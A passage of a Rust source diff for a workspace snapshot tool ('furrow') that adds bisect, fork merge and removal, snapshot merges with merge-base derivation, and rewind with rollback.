_)| *id == good) + .context("good snapshot is outside the retained bisect window")?; + let bad_index = candidates + .iter() + .position(|(id, _)| *id == bad) + .context("bad snapshot is outside the retained bisect window")?; + anyhow::ensure!( + good_index < bad_index, + "good snapshot must precede bad snapshot" + ); + (good_index, bad_index) + } + (None, None) => (0, candidates.len() - 1), + _ => unreachable!("paired options were validated"), + }; + + let parent = self.root.parent().unwrap_or_else(|| Path::new(".")); + let owner = tempfile::Builder::new() + .prefix(".furrow-bisect-") + .tempdir_in(parent)?; + let scratch = owner.path().join("workspace"); + fork_workspace_excluding( + &self.root, + &scratch, + &[Path::new(WORKSPACE_FILE), Path::new(FORK_FILE)], + )?; + let (scratch_repository, scratch_head) = FurrowRepository::watch(&scratch)?; + let operation = (|| { + anyhow::ensure!( + self.snapshots_match_fork(&boundary, &scratch_repository, &scratch_head)?, + "source changed while the bisect scratch workspace was being created" + ); + self.bisect_search( + &scratch, + boundary, + &candidates, + good_index, + bad_index, + command, + ) + })(); + let cleanup = scratch_repository.forget_internal(true, false); + match (operation, cleanup) { + (Ok(outcome), Ok(())) => Ok(outcome), + (Err(error), Ok(())) => Err(error), + (Ok(_), Err(error)) => { + Err(error.context("bisect succeeded but scratch cleanup failed")) + } + (Err(error), Err(cleanup)) => Err(error.context(format!( + "bisect failed; scratch cleanup also failed: {cleanup:#}" + ))), + } + } + + pub fn remove_fork(&mut self, name: &str, keep_files: bool) -> anyhow::Result { + validate_fork_name(name)?; + let record_path = self.forks_dir().join(format!("{name}.json")); + let fork: ForkSummary = serde_json::from_slice( + &fs::read(&record_path).with_context(|| format!("fork `{name}` was not found"))?, + )?; + if !keep_files && fork.destination.exists() { + let metadata = fs::symlink_metadata(&fork.destination)?; + anyhow::ensure!( + metadata.is_dir() && !metadata.file_type().is_symlink(), + "refusing to remove a fork path that is not a real directory" + ); + let destination = fork.destination.canonicalize()?; + anyhow::ensure!( + destination != self.root + && !destination.starts_with(&self.root) + && !self.root.starts_with(&destination), + "refusing to remove an unsafe fork destination" + ); + let fork_repository = FurrowRepository::open(&destination) + .context("fork identity is missing or no longer matches its recorded directory")?; + fork_repository.forget(true)?; + fs::remove_dir_all(&destination)?; + if let Some(parent) = destination.parent() { + File::open(parent)?.sync_all()?; + } + } + fs::remove_file(&record_path)?; + File::open(self.forks_dir())?.sync_all()?; + Ok(ForkRemoval { + name: name.to_owned(), + destination: fork.destination, + files_removed: !keep_files, + }) + } + + pub fn merge( + &mut self, + fork_name: &str, + check: Option<&str>, + dry_run: bool, + ) -> anyhow::Result { + let mutation = if dry_run { + None + } else { + Some(self.acquire_mutation_lock()?) + }; + let fork = self + .forks()? + .into_iter() + .find(|fork| fork.name == fork_name) + .with_context(|| format!("fork `{fork_name}` was not found"))?; + anyhow::ensure!(fork.destination.exists(), "fork directory no longer exists"); + + let mut fork_repository = FurrowRepository::open(&fork.destination)?; + let (ours, theirs) = if dry_run { + ( + self.store + .workspace_head(&self.workspace_id)? + .context("source workspace has no sealed snapshot")?, + fork_repository + .store + .workspace_head(&fork_repository.workspace_id)? + .context("universe has no sealed snapshot")?, + ) + } else { + ( + self.snapshot( + Some(format!("before merge from {fork_name}")), + SnapshotTrigger::PreMerge, + )?, + fork_repository.snapshot( + Some(format!("merge source for {fork_name}")), + SnapshotTrigger::MergeSource, + )?, + ) + }; + let base = parse_id(&fork.base_snapshot)?; + let base_snapshot: Snapshot = self.store.read_struct(&base, ObjectKind::Snapshot)?; + let (ours_root, theirs_root) = if dry_run { + ( + self.capture_root_retry()?, + fork_repository.capture_root_retry()?, + ) + } else { + let ours_snapshot: Snapshot = self.store.read_struct(&ours, ObjectKind::Snapshot)?; + let theirs_snapshot: Snapshot = + self.store.read_struct(&theirs, ObjectKind::Snapshot)?; + (ours_snapshot.root_tree, theirs_snapshot.root_tree) + }; + self.finish_merge( + fork_name.to_owned(), + mutation, + base, + ours, + theirs, + base_snapshot.root_tree, + ours_root, + theirs_root, + format!("merged fork {fork_name}"), + check, + dry_run, + ) + } + + /// Three-way merge directly from stored snapshot IDs instead of a fork. + /// + /// `theirs_id` and an optional `base_id` must each be the full + /// 64-character ID of a snapshot already present in the local object + /// store, for example one fetched with `furrow sync --pull`. When + /// `base_id` is omitted, the base is derived from `theirs`' recorded + /// ancestry: the nearest snapshot that is both reachable from `theirs` + /// by following its `parent`/`merge_parents` chain and part of this + /// workspace's own published lineage. Callers must pass `--base` + /// explicitly when that ancestry is incomplete locally, shares no + /// common ancestor with this workspace, or resolves more than one + /// candidate. The rest of the flow (plan, conflicts, `--check`, + /// `--dry-run`) is identical to a fork merge. + pub fn merge_snapshot( + &mut self, + theirs_id: &str, + base_id: Option<&str>, + check: Option<&str>, + dry_run: bool, + ) -> anyhow::Result { + let mutation = if dry_run { + None + } else { + Some(self.acquire_mutation_lock()?) + }; + let theirs = self.resolve_exact_snapshot(theirs_id, "--snapshot")?; + let theirs_snapshot: Snapshot = self.store.read_struct(&theirs, ObjectKind::Snapshot)?; + let base = match base_id { + Some(base_id) => self.resolve_exact_snapshot(base_id, "--base")?, + None => self.derive_merge_base(&theirs)?, + }; + let base_snapshot: Snapshot = self.store.read_struct(&base, ObjectKind::Snapshot)?; + let theirs_short = &id_hex(&theirs)[..12]; + + let ours = if dry_run { + self.store + .workspace_head(&self.workspace_id)? + .context("source workspace has no sealed snapshot")? + } else { + self.snapshot( + Some(format!("before merge from snapshot {theirs_short}")), + SnapshotTrigger::PreMerge, + )? + }; + let ours_root = if dry_run { + self.capture_root_retry()? + } else { + let ours_snapshot: Snapshot = self.store.read_struct(&ours, ObjectKind::Snapshot)?; + ours_snapshot.root_tree + }; + + self.finish_merge( + format!("snapshot:{theirs_short}"), + mutation, + base, + ours, + theirs, + base_snapshot.root_tree, + ours_root, + theirs_snapshot.root_tree, + format!("merged snapshot {theirs_short}"), + check, + dry_run, + ) + } + + /// Resolves an implicit `--base` for `theirs` from recorded ancestry: + /// the nearest snapshot that is both reachable from `theirs` by + /// following `parent`/`merge_parents` pointers and a snapshot this + /// workspace has itself published. Once a candidate is found along a + /// path, that path stops expanding, since any earlier ancestor along it + /// is necessarily dominated by (an ancestor of) the candidate already + /// found. Every error path names `--base` as the way to proceed. + fn derive_merge_base(&self, theirs: &ObjectId) -> anyhow::Result { + const ANCESTRY_LIMIT: usize = 100_000; + let lineage: BTreeSet = self + .store + .timeline(&self.workspace_id, ANCESTRY_LIMIT)? + .into_iter() + .map(|row| row.id) + .collect(); + anyhow::ensure!( + !lineage.is_empty(), + "source workspace has no sealed snapshot; pass --base explicitly" + ); + + let mut pending = vec![*theirs]; + let mut visited = BTreeSet::from([*theirs]); + let mut candidates = BTreeSet::new(); + while let Some(id) = pending.pop() { + anyhow::ensure!( + visited.len() <= ANCESTRY_LIMIT, + "snapshot `{}` has more than {ANCESTRY_LIMIT} locally known ancestors; \ + pass --base explicitly", + id_hex(theirs) + ); + if lineage.contains(&id) { + candidates.insert(id); + continue; + } + let snapshot: Snapshot = self + .store + .read_struct(&id, ObjectKind::Snapshot) + .with_context(|| { + format!( + "snapshot `{}` references ancestor `{}`, which is not present in the \ + local object store; run `furrow sync --pull` to fetch the missing \ + history or pass --base explicitly", + id_hex(theirs), + id_hex(&id) + ) + })?; + for parent in snapshot.parent.into_iter().chain(snapshot.merge_parents) { + if visited.insert(parent) { + pending.push(parent); + } + } + } + + match candidates.len() { + 0 => bail!( + "snapshot `{}` shares no common ancestor with the current workspace lineage; \ + pass --base explicitly", + id_hex(theirs) + ), + 1 => Ok(*candidates.iter().next().expect("length checked above")), + _ => bail!( + "snapshot `{}` has more than one possible merge base against the current \ + workspace lineage; pass --base explicitly", + id_hex(theirs) + ), + } + } + + fn resolve_exact_snapshot(&self, value: &str, flag: &str) -> anyhow::Result { + anyhow::ensure!( + value.len() == 64, + "{flag} requires the full 64-character snapshot ID" + ); + let id = parse_id(value)?; + self.store + .read_bytes(&id, ObjectKind::Snapshot) + .with_context(|| { + format!("{flag} snapshot `{value}` was not found in the local object store") + })?; + Ok(id) + } + + /// Shared plan/conflict/`--check`/`--dry-run` tail for both fork and + /// snapshot merges. `source` labels the merge in `MergeOutcome::fork` + /// (a fork name, or `snapshot:`); `result_label` becomes the + /// landed merge snapshot's message. + #[allow(clippy::too_many_arguments)] + fn finish_merge( + &mut self, + source: String, + mutation: Option, + base: ObjectId, + ours: ObjectId, + theirs: ObjectId, + base_root: ObjectId, + ours_root: ObjectId, + theirs_root: ObjectId, + result_label: String, + check: Option<&str>, + dry_run: bool, + ) -> anyhow::Result { + let mut merge_plan = merge::plan_trees(&self.store, &base_root, &ours_root, &theirs_root)?; + let policy = self.load_policy()?; + merge_plan.changes.retain(|change| { + merge_path_allowed(&change.path) && !policy.excludes_bytes(&change.path) + }); + merge_plan.conflicts.retain(|conflict| { + merge_path_allowed(&conflict.path) && !policy.excludes_bytes(&conflict.path) + }); + let ours_tree = id_hex(&ours_root); + let theirs_tree = id_hex(&theirs_root); + let preview_digest = + merge_preview_digest(&id_hex(&base), &ours_tree, &theirs_tree, &merge_plan); + let mut outcome = MergeOutcome { + fork: source, + base_snapshot: id_hex(&base), + ours_snapshot: id_hex(&ours), + theirs_snapshot: id_hex(&theirs), + ours_tree, + theirs_tree, + result_snapshot: None, + changes: merge_plan.changes.len(), + conflicts: merge_plan.conflicts, + check: check.map(str::to_owned), + check_output: None, + preview_digest, + }; + if dry_run || !outcome.conflicts.is_empty() { + if let Some(mutation) = mutation.as_ref() { + FileExt::unlock(mutation)?; + } + return Ok(outcome); + } + let mutation = mutation.context("merge mutation lock is missing")?; + let check = check.context("merge requires --check ")?; + anyhow::ensure!( + !check.trim().is_empty(), + "merge check command cannot be empty" + ); + + let (rewind_plan, target_entries) = + merge_rewind_plan(&self.store, &ours_root, &merge_plan.changes)?; + let scratch_parent = self.root.parent().unwrap_or_else(|| Path::new(".")); + let scratch_owner = tempfile::Builder::new() + .prefix(".furrow-merge-") + .tempdir_in(scratch_parent)?; + let scratch = scratch_owner.path().join("workspace"); + fork_workspace_excluding( + &self.root, + &scratch, + &[Path::new(WORKSPACE_FILE), Path::new(FORK_FILE)], + )?; + let scratch_identity = scratch.join(WORKSPACE_FILE); + if scratch_identity.exists() { + fs::remove_file(scratch_identity)?; + } + self.apply_plan_at(&scratch, &target_entries, &rewind_plan, &[])?; + let verification = std::process::Command::new("/bin/sh") + .args(["-c", check]) + .current_dir(&scratch) + .output() + .with_context(|| format!("run merge check `{check}`"))?; + let check_output = command_output(&verification.stdout, &verification.stderr); + anyhow::ensure!( + verification.status.success(), + "merge check failed with {}\n{}", + verification.status, + check_output + ); + outcome.check_output = Some(check_output); + + let ours_snapshot: Snapshot = self.store.read_struct(&ours, ObjectKind::Snapshot)?; + let current_root = self.capture_root_retry()?; + anyhow::ensure!( + current_root == ours_snapshot.root_tree, + "source workspace changed while the merge was being verified; retry" + ); + self.write_restore_intent(&RestoreIntent { + pre_snapshot: ours, + target_snapshot: theirs, + paths: Vec::new(), + })?; + + let applied = self + .apply_plan_at(&self.root, &target_entries, &rewind_plan, &[]) + .and_then(|_| { + self.invalidate_path_index()?; + self.snapshot_internal( + Some(result_label), + SnapshotTrigger::Merge, + None, + vec![ours, theirs], + ) + }); + let result = match applied { + Ok(result) => result, + Err(error) => { + let rollback_plan = self.plan_rewind(&ours, &[])?; + let rollback_entries = + self.entries_for_plan(&ours_snapshot.root_tree, &rollback_plan)?; + self.apply_plan_at(&self.root, &rollback_entries, &rollback_plan, &[]) + .context("merge failed and rollback also failed")?; + self.invalidate_path_index()?; + self.clear_restore_intent()?; + FileExt::unlock(&mutation)?; + return Err(error.context("merge aborted; source workspace was restored")); + } + }; + self.clear_restore_intent()?; + FileExt::unlock(&mutation)?; + outcome.result_snapshot = Some(id_hex(&result)); + Ok(outcome) + } + + fn forks_dir(&self) -> PathBuf { + self.workspace_data_dir().join("forks") + } + + fn sync_config_path(&self) -> PathBuf { + self.workspace_data_dir().join("sync/config.json") + } + + fn active_claims(&self) -> anyhow::Result> { + if !claims::registry_path(self.store.root(), &self.family_id).exists() { + return Ok(Vec::new()); + } + claims::Registry::open(self.store.root(), &self.family_id)?.active() + } + + fn bisect_search( + &self, + scratch: &Path, + boundary: ObjectId, + candidates: &[(ObjectId, Option)], + mut good_index: usize, + mut bad_index: usize, + command: &[OsString], + ) -> anyhow::Result { + let mut current = boundary; + let mut checks = BTreeMap::new(); + anyhow::ensure!( + self.ensure_bisect_check( + scratch, + &mut current, + candidates, + good_index, + command, + &mut checks, + )?, + "selected good snapshot fails the bisect command" + ); + anyhow::ensure!( + !self.ensure_bisect_check( + scratch, + &mut current, + candidates, + bad_index, + command, + &mut checks, + )?, + "selected bad snapshot passes the bisect command" + ); + + while bad_index - good_index > 1 { + let middle = good_index + (bad_index - good_index) / 2; + if self.ensure_bisect_check( + scratch, + &mut current, + candidates, + middle, + command, + &mut checks, + )? { + good_index = middle; + } else { + bad_index = middle; + } + } + + Ok(BisectOutcome { + candidates: candidates.len(), + good_snapshot: id_hex(&candidates[good_index].0), + first_bad_snapshot: id_hex(&candidates[bad_index].0), + checks: checks.into_values().collect(), + }) + } + + #[allow(clippy::too_many_arguments)] + fn ensure_bisect_check( + &self, + scratch: &Path, + current: &mut ObjectId, + candidates: &[(ObjectId, Option)], + index: usize, + command: &[OsString], + checks: &mut BTreeMap, + ) -> anyhow::Result { + if let Some(check) = checks.get(&index) { + return Ok(check.passed); + } + let (snapshot, label) = &candidates[index]; + if current != snapshot { + self.apply_snapshot_transition_at(scratch, current, snapshot)?; + *current = *snapshot; + } + + let parent = scratch.parent().context("bisect scratch has no parent")?; + let owner = tempfile::Builder::new() + .prefix("probe-") + .tempdir_in(parent)?; + let probe = owner.path().join("workspace"); + let fork = fork_workspace_excluding( + scratch, + &probe, + &[Path::new(WORKSPACE_FILE), Path::new(FORK_FILE)], + )?; + let started = std::time::Instant::now(); + let (program, arguments) = command + .split_first() + .context("bisect command cannot be empty")?; + let status = std::process::Command::new(program) + .args(arguments) + .current_dir(&probe) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + .with_context(|| format!("run bisect command at {}", &id_hex(snapshot)[..12]))?; + use std::os::unix::process::ExitStatusExt; + let check = BisectCheck { + snapshot: id_hex(snapshot), + label: label.clone(), + passed: status.success(), + exit_code: status.code(), + signal: status.signal(), + elapsed_ms: started.elapsed().as_millis().min(u64::MAX as u128) as u64, + probe_fork_ms: fork.elapsed.as_millis().min(u64::MAX as u128) as u64, + }; + let passed = check.passed; + checks.insert(index, check); + Ok(passed) + } + + fn apply_snapshot_transition_at( + &self, + root: &Path, + current: &ObjectId, + target: &ObjectId, + ) -> anyhow::Result<()> { + let current: Snapshot = self.store.read_struct(current, ObjectKind::Snapshot)?; + let target_snapshot: Snapshot = self.store.read_struct(target, ObjectKind::Snapshot)?; + let mut changes = Vec::new(); + self.diff_directory( + Some(current.root_tree), + Some(target_snapshot.root_tree), + Vec::new(), + &[], + &mut changes, + )?; + let current_policy = CapturePolicy::from_rules(¤t.excluded_paths)?; + let target_policy = CapturePolicy::from_rules(&target_snapshot.excluded_paths)?; + let protected = current_policy.union(&target_policy); + changes.retain(|change| { + change.raw_path != b".furrow" && !protected.excludes_bytes(&change.raw_path) + }); + let target_id = id_hex(target); + let current_tree = id_hex(¤t.root_tree); + let plan = RewindPlan { + preview_digest: rewind_preview_digest(&target_id, Some(¤t_tree), &changes), + target: target_id, + current_tree: Some(current_tree), + changes, + held: Vec::new(), + }; + let entries = self.entries_for_plan(&target_snapshot.root_tree, &plan)?; + self.apply_plan_at(root, &entries, &plan, &[]) + } + + fn diff_snapshot_pair( + &self, + target: String, + base: ObjectId, + head: ObjectId, + ) -> anyhow::Result { + let base_snapshot: Snapshot = self.store.read_struct(&base, ObjectKind::Snapshot)?; + let head_snapshot: Snapshot = self.store.read_struct(&head, ObjectKind::Snapshot)?; + let mut raw = Vec::new(); + self.diff_directory( + Some(base_snapshot.root_tree), + Some(head_snapshot.root_tree), + Vec::new(), + &[], + &mut raw, + )?; + let mut changes = Vec::with_capacity(raw.len()); + for change in raw { + let before = self.lookup_tree_path(&base_snapshot.root_tree, &change.raw_path)?; + let after = self.lookup_tree_path(&head_snapshot.root_tree, &change.raw_path)?; + if directory_target_only_difference(before.as_ref(), after.as_ref()) { + continue; + } + changes.push(DiffChange { + path: change.path, + action: match change.action { + "restore" => "add", + "remove" => "delete", + "replace" => "modify", + _ => unreachable!(), + }, + }); + } + Ok(DiffSummary { + target, + base_snapshot: id_hex(&base), + target_snapshot: id_hex(&head), + changes, + }) + } + + fn sync_incoming_path(&self) -> PathBuf { + self.workspace_data_dir().join("sync/incoming.json") + } + + fn sync_state_path(&self) -> PathBuf { + self.workspace_data_dir().join("sync/state.json") + } + + fn read_sync_state(&self) -> anyhow::Result> { + let path = self.sync_state_path(); + if !path.exists() { + return Ok(None); + } + Ok(Some(serde_json::from_slice(&fs::read(path)?)?)) + } + + fn write_sync_state(&self, remote_root: ObjectId) -> anyhow::Result<()> { + let path = self.sync_state_path(); + if let Some(parent) = path.parent() { + fs::create_dir_all(parent)?; + } + let local_root = self + .store + .workspace_head(&self.workspace_id)? + .map(|snapshot| { + self.store + .read_struct::(&snapshot, ObjectKind::Snapshot) + .map(|snapshot| snapshot.root_tree) + }) + .transpose()?; + atomic_write( + &path, + &serde_json::to_vec(&SyncState { + remote_root, + local_root, + })?, + ) + } + + fn clear_sync_incoming(&self) -> anyhow::Result<()> { + let path = self.sync_incoming_path(); + if path.exists() { + fs::remove_file(&path)?; + File::open(path.parent().context("sync root has no parent")?)?.sync_all()?; + } + Ok(()) + } + + fn snapshots_match_fork( + &self, + base: &ObjectId, + fork_repository: &FurrowRepository, + fork_head: &ObjectId, + ) -> anyhow::Result { + let base_snapshot: Snapshot = self.store.read_struct(base, ObjectKind::Snapshot)?; + let fork_snapshot: Snapshot = fork_repository + .store + .read_struct(fork_head, ObjectKind::Snapshot)?; + let mut base_entries = self.flatten_tree(&base_snapshot.root_tree)?; + let mut fork_entries = fork_repository.flatten_tree(&fork_snapshot.root_tree)?; + + // Attaching the destination updates the .furrow directory timestamp, but + // its actual policy and hook children still participate in comparison. + for internal in [ + b".furrow".as_slice(), + WORKSPACE_FILE_BYTES, + FAMILY_FILE_BYTES, + FORK_FILE_BYTES, + ] { + base_entries.remove(internal); + fork_entries.remove(internal); + } + base_entries.retain(|_, entry| entry.entry.kind != EntryKind::SocketMarker); + fork_entries.retain(|_, entry| entry.entry.kind != EntryKind::SocketMarker); + Ok(base_entries + .iter() + .map(|(path, entry)| (path, &entry.entry)) + .eq(fork_entries + .iter() + .map(|(path, entry)| (path, &entry.entry)))) + } + + pub fn resolve_snapshot(&self, value: &str) -> anyhow::Result { + // `head` is the workspace's own newest snapshot: a sealed one, or the + // imported one a materialize adopted. Callers that need "what this tree + // was last known to be" ask for it by that word instead of tracking ids. + if value == "head" { + return self + .store + .workspace_head(&self.workspace_id)? + .context("workspace has no sealed snapshot"); + } + if value.len() == 64 { + let id = parse_id(value)?; + self.store + .read_bytes(&id, ObjectKind::Snapshot) + .with_context(|| format!("snapshot {value} is not held in this store"))?; + return Ok(id); + } + anyhow::ensure!( + value.len() >= 8, + "snapshot prefix must contain at least 8 characters" + ); + let matches: Vec = self + .store + .timeline(&self.workspace_id, 100_000)? + .into_iter() + .filter(|row| id_hex(&row.id).starts_with(value)) + .map(|row| row.id) + .collect(); + match matches.as_slice() { + [id] => Ok(*id), + [] => bail!("snapshot `{value}` was not found"), + _ => bail!("snapshot prefix `{value}` is ambiguous"), + } + } + + pub fn plan_rewind(&self, target: &ObjectId, paths: &[PathBuf]) -> anyhow::Result { + let _maintenance = self.store.acquire_maintenance_shared()?; + let materialization = self.materialization(target)?; + let unavailable: Vec<_> = materialization + .missing_paths + .iter() + .filter(|missing| selected(&missing.raw_path, paths)) + .collect(); + anyhow::ensure!( + unavailable.is_empty(), + "snapshot is partial and cannot restore {} selected path(s): {}", + unavailable.len(), + unavailable + .iter() + .map(|missing| missing.path.as_str()) + .collect::>() + .join(", ") + ); + let target_snapshot: Snapshot = self.store.read_struct(target, ObjectKind::Snapshot)?; + let current_policy = self.load_policy()?; + let target_policy = CapturePolicy::from_rules(&target_snapshot.excluded_paths)?; + let protected = current_policy.union(&target_policy); + let current_tree = self.capture_root_retry_with_policy(¤t_policy)?; + let mut changes = Vec::new(); + self.diff_directory( + Some(current_tree), + Some(target_snapshot.root_tree), + Vec::new(), + paths, + &mut changes, + )?; + changes.retain(|change| { + change.raw_path != b".furrow" + && !is_identity_path(&change.raw_path) + && !protected.excludes_bytes(&change.raw_path) + && !self.in_overlay(&change.raw_path) + }); + let held = self.colliding_paths(&target_snapshot.root_tree, &changes)?; + changes.retain(|change| !held.iter().any(|held| held.covers(&change.raw_path))); + let target_id = id_hex(target); + let current_tree = id_hex(¤t_tree); + Ok(RewindPlan { + preview_digest: rewind_preview_digest(&target_id, Some(¤t_tree), &changes), + target: target_id, + current_tree: Some(current_tree), + changes, + held, + }) + } + + /// The paths of `changes` that the file system under the workspace cannot + /// keep next to another path of the target (see [`crate::name_fold`]). Each + /// is judged against every entry of its directory in the target, not only + /// the changed ones, because the kept twin may already be on disk. A + /// file system that keeps every name has none. + fn colliding_paths( + &self, + target_root: &ObjectId, + changes: &[RewindChange], + ) -> anyhow::Result> { + let folding = NameFolding::probe(&self.root); + if !folding.is_active() { + return Ok(Vec::new()); + } + let mut directories: BTreeMap, BTreeMap, Vec>> = BTreeMap::new(); + let mut held = Vec::new(); + for change in changes.iter().filter(|change| change.action != "remove") { + let (parent, name) = split_parent(&change.raw_path); + if !directories.contains_key(parent) { + let kept = self.kept_names(target_root, parent, &folding)?; + directories.insert(parent.to_vec(), kept); + } + let kept = &directories[parent]; + if let Some(twin) = kept + .get(&folding.key(name)) + .filter(|twin| twin.as_slice() != name) + { + held.push(HeldPath::new(&change.raw_path, parent, twin)); + } + } + Ok(held) + } + + /// For each folded name of the target directory at `parent`, the name that + /// is kept: the first in the tree's bytewise order. + fn kept_names( + &self, + target_root: &ObjectId, + parent: &[u8], + folding: &NameFolding, + ) -> anyhow::Result, Vec>> { + let tree = if parent.is_empty() { + Some(*target_root) + } else { + self.lookup_tree_path(target_root, parent)? + .and_then(|entry| entry.target) + }; + let mut kept = BTreeMap::new(); + if let Some(tree) = tree { + tree::for_each_entry(&self.store, &tree, |entry| { + kept.entry(folding.key(&entry.name)).or_insert(entry.name); + Ok(()) + })?; + } + Ok(kept) + } + + pub fn rewind( + &mut self, + target: &ObjectId, + paths: &[PathBuf], + sqlite_consistent: bool, + ) -> anyhow::Result<(ObjectId, RewindPlan)> { + let lock = self.acquire_mutation_lock()?; + let plan = self.plan_rewind(target, paths)?; + let pre = self.snapshot( + Some(format!("before rewind to {}", &id_hex(target)[..12])), + SnapshotTrigger::PreRewind, + )?; + let pre_snapshot: Snapshot = self.store.read_struct(&pre, ObjectKind::Snapshot)?; + let target_snapshot: Snapshot = self.store.read_struct(target, ObjectKind::Snapshot)?; + let pre_entries = self.entries_for_changed_paths(&pre_snapshot.root_tree, &plan)?; + let target_entries = self.entries_for_plan(&target_snapshot.root_tree, &plan)?; + test_pause("FURROW_TEST_REWIND_PAUSE_BEFORE_PRECONDITION_MS"); + if let Err(error) = self.verify_plan_state(&self.root, &pre_entries, &plan, paths) { + FileExt::unlock(&lock)?; + return Err(error + .context("rewind cancelled before mutation; concurrent changes remain untouched")); + } + self.write_restore_intent(&RestoreIntent { + pre_snapshot: pre, + target_snapshot: *target, + paths: paths + .iter() + .map(|path| path.as_os_str().as_bytes().to_vec()) + .collect(), + })?; + + let result = self + .apply_plan_with_links(&self.root, &target_entries, &plan, paths, &target_snapshot) + .and_then(|_| { + test_pause("FURROW_TEST_REWIND_PAUSE_AFTER_APPLY_MS"); + self.verify_plan_state(&self.root, &target_entries, &plan, paths)?; + if sqlite_consistent { + self.restore_sqlite_backups(&target_snapshot.sqlite_backups, paths)?; + } + Ok(()) + }); + if let Err(error) = result { + let rescue = self + .snapshot( + Some("rewind interference rescue".to_owned()), + SnapshotTrigger::Inspection, + ) + .ok(); + let rollback_plan = self.plan_rewind(&pre, paths)?; + let pre_entries = self.entries_for_plan(&pre_snapshot.root_tree, &rollback_plan)?; + self.apply_plan_at(&self.root, &pre_entries, &rollback_plan, paths) + .context("rewind failed and rollback also failed")?; + self.verify_plan_state(&self.root, &pre_entries, &rollback_plan, paths) + .context("rewind rollback did not converge to the pre-rewind state")?; + self.invalidate_path_index()?; + self.clear_restore_intent()?; + FileExt::unlock(&lock)?; + let detail = rescue.map_or_else( + || "rewind aborted; the pre-rewind state was restored".to_owned(), + |snapshot| { + format!( + "rewind aborted; interference was preserved as snapshot {}; the pre-rewind state was restored", + id_hex(&snapshot) + ) + }, + ); + return Err(error.context(detail)); + } + self.invalidate_path_index()?; + self.clear_restore_intent()?; + let overlay_restored = self.restore_overlay(&target_snapshot.root_tree); + FileExt::unlock(&lock)?; + overlay_restored.context("restore the composed directory")?; + Ok((pre, plan)) + } + + /// True for the paths that belong to the overlay, which are restored into + /// its own directory and never into the workspace. + /// The capture policy: the workspace's own `.furrowpolicy` and, for a + /// composed workspace, the one kept in the composed directory. The harness + /// writes its exclusions to the second so nothing of its own lands in the + /// person's tree. + fn load_policy(&self) -> anyhow::Result { + let own = CapturePolicy::load(&self.root)?; + match &self.overlay { + Some(overlay) => Ok(own.union(&CapturePolicy::load(overlay.source())?)), + None => Ok(own), + } + } + + fn in_overlay(&self, raw_path: &[u8]) -> bool { + self.overlay.is_some() && self.physical_path_in_overlay(raw_path) + } + + fn physical_path_in_overlay(&self, raw_path: &[u8]) -> bool { + self.overlay + .as_ref() + .is_some_and(|overlay| overlay.physical(raw_path).is_some()) + } + + /// Puts the sealed `.cell/` entry back into the overlay's directory, + /// changing only what differs, so the directory matches the sealed tree. + fn restore_overlay(&self, root_tree: &ObjectId) -> anyhow::Result<()> { + let Some(overlay) = &self.overlay else { + return Ok(()); + }; + let sealed = self + .lookup_tree_path(root_tree, overlay::NAME)? + .filter(|entry| entry.kind == EntryKind::Directory); + let target = sealed.as_ref().and_then(|entry| entry.target); + let destination = overlay.source(); + if target.is_some() { + fs::create_dir_all(destination)?; + } + let current = self.capture_overlay_tree()?; + let mut changes = Vec::new(); + self.diff_directory(current, target, Vec::new(), &[], &mut changes)?; + let plan = RewindPlan { + preview_digest: rewind_preview_digest("overlay", None, &changes), + target: "overlay".to_owned(), + current_tree: None, + changes, + held: Vec::new(), + }; + let entries = match target { + Some(tree) => self.entries_for_plan(&tree, &plan)?, + None => BTreeMap::new(), + }; + self.apply_plan_at(destination, &entries, &plan, &[])?; + self.verify_plan_state(destination, &entries, &plan, &[])?; + sealed.map_or(Ok(()), |entry| pin_directory(destination, &entry)) + } + + /// The tree of the overlay directory as it is now, or None when absent. + fn capture_overlay_tree(&self) -> anyhow::Result> { + let Some(overlay) = &self.overlay else { + return Ok(None); + }; + if !overlay.source().is_dir() { + return Ok(None); + } + let scratch = PathIndex::open(Path::new(":memory:"))?; + let tree = + self.capture_directory_impl(overlay.source(), &scratch, &CapturePolicy::default())?; + Ok(Some(tree)) + } + + pub fn forget(self, purge: bool) -> anyhow::Result<()> { + self.forget_internal(purge, true) + } + + fn forget_internal(mut self, purge: bool, announce: bool) -> anyhow::Result<()> { + self.stop_watcher()?; + if claims::registry_path(self.store.root(), &self.family_id).exists() { + claims::Registry::open(self.store.root(), &self.family_id)? + .release_workspace(&self.workspace_id)?; + } + let _maintenance = self.store.acquire_maintenance_exclusive()?; + self.store.detach_workspace(&self.workspace_id)?; + let workspace_file = self.root.join(WORKSPACE_FILE); + if workspace_file.exists() { + fs::remove_file(&workspace_file)?; + File::open( + workspace_file + .parent() + .context("workspace file has no parent")?, + )? + .sync_all()?; + } + if purge { + self.store.purge_workspace(&self.workspace_id)?; + if announce { + eprintln!("workspace detached; unreachable data will be removed by `furrow gc`"); + } + } + Ok(()) + } + + fn watcher_running(&self) -> bool { + let pid_path = self.workspace_data_dir().join("daemon.pid"); + let Ok(pid) = fs::read_to_string(pid_path) else { + return false; + }; + let Ok(pid) = pid.trim().parse::() else { + return false; + }; + unsafe { libc::kill(pid, 0) == 0 } + } + + fn stop_watcher(&self) -> anyhow::Result<()> { + let pid_path = self.workspace_data_dir().join("daemon.pid"); + if let Ok(pid) = fs::read_to_string(&pid_path) { + if let Ok(pid) = pid.trim().parse::() { + let result = unsafe { libc::kill(pid, libc::SIGTERM) }; + if result != 0 { + let error = std::io::Error::last_os_error(); + if error.raw_os_error() != Some(libc::ESRCH) { + return Err(error.into()); + } + } + } + } + if pid_path.exists() { + fs::remove_file(pid_path)?; + } + Ok(()) + } + + /// Captures the tree: only `changed_paths` when the caller knows them and + /// the policy file is not among them, otherwise a walk of everything. + fn capture_tree( + &self, + changed_paths: Option<&[PathBuf]>, + policy: &CapturePolicy, + ) -> anyhow::Result { + let Some(paths) = changed_paths else { + return self.capture_root_retry_with_policy(policy); + }; + if paths + .iter() + .any(|path| changed_path_matches(&self.root, path, POLICY_FILE_BYTES)) + { + return self.capture_root_retry_with_policy(policy); + } + let paths = self.with_overlay_path(paths); + self.capture_changed_paths_retry_with_policy(&paths, policy) + } + + /// The overlay is composed at every seal, so its contents count as changed. + fn with_overlay_path(&self, paths: &[PathBuf]) -> Vec { + let mut paths = paths.to_vec(); + paths.extend( + self.overlay + .iter() + .map(|overlay| overlay.source().to_owned()), + ); + paths + } + + fn capture_root_retry(&self) -> anyhow::Result { + let policy = self.load_policy()?; + self.capture_root_retry_with_policy(&policy) + } + + fn capture_root_retry_with_policy(&self, policy: &CapturePolicy) -> anyhow::Result { + let mut index = 